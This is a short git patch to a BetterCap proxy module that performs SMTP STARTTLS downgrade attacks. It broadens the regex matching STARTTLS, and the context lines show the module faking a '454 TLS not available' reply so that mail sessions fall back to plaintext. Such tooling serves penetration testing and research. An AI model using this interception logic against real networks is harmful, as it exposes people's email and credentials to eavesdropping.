From 1fb2ebb5acd672f0a6d4947e4c7cb27b582466e3 Mon Sep 17 00:00:00 2001 From: Mariusz Date: Tue, 29 Jan 2019 14:22:30 +0100 Subject: [PATCH] Update smtpdowngrade.rb --- networks/smtpdowngrade.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/networks/smtpdowngrade.rb b/networks/smtpdowngrade.rb index 81d5449..bdec12a 100644 --- a/networks/smtpdowngrade.rb +++ b/networks/smtpdowngrade.rb @@ -30,7 +30,7 @@ class SMTPDowngrade < BetterCap::Proxy::TCP::Module def smtp_parse_request(event) return nil if not event.data - if event.data =~ /^STARTTLS\s*\r\n/ + if event.data =~ /^STARTTLS.*/ BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Intercepted STARTTLS command." @respondwith = "454 4.7.0 TLS not available due to local problem\r\n"